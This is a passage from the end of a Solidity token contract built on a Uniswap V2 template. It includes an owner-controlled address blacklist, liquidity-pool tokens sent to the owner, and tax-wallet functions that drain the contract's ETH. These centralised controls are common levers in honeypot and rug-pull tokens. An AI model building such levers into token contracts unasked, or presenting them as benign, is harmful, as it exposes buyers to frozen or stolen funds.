    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function manualsend() external {
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}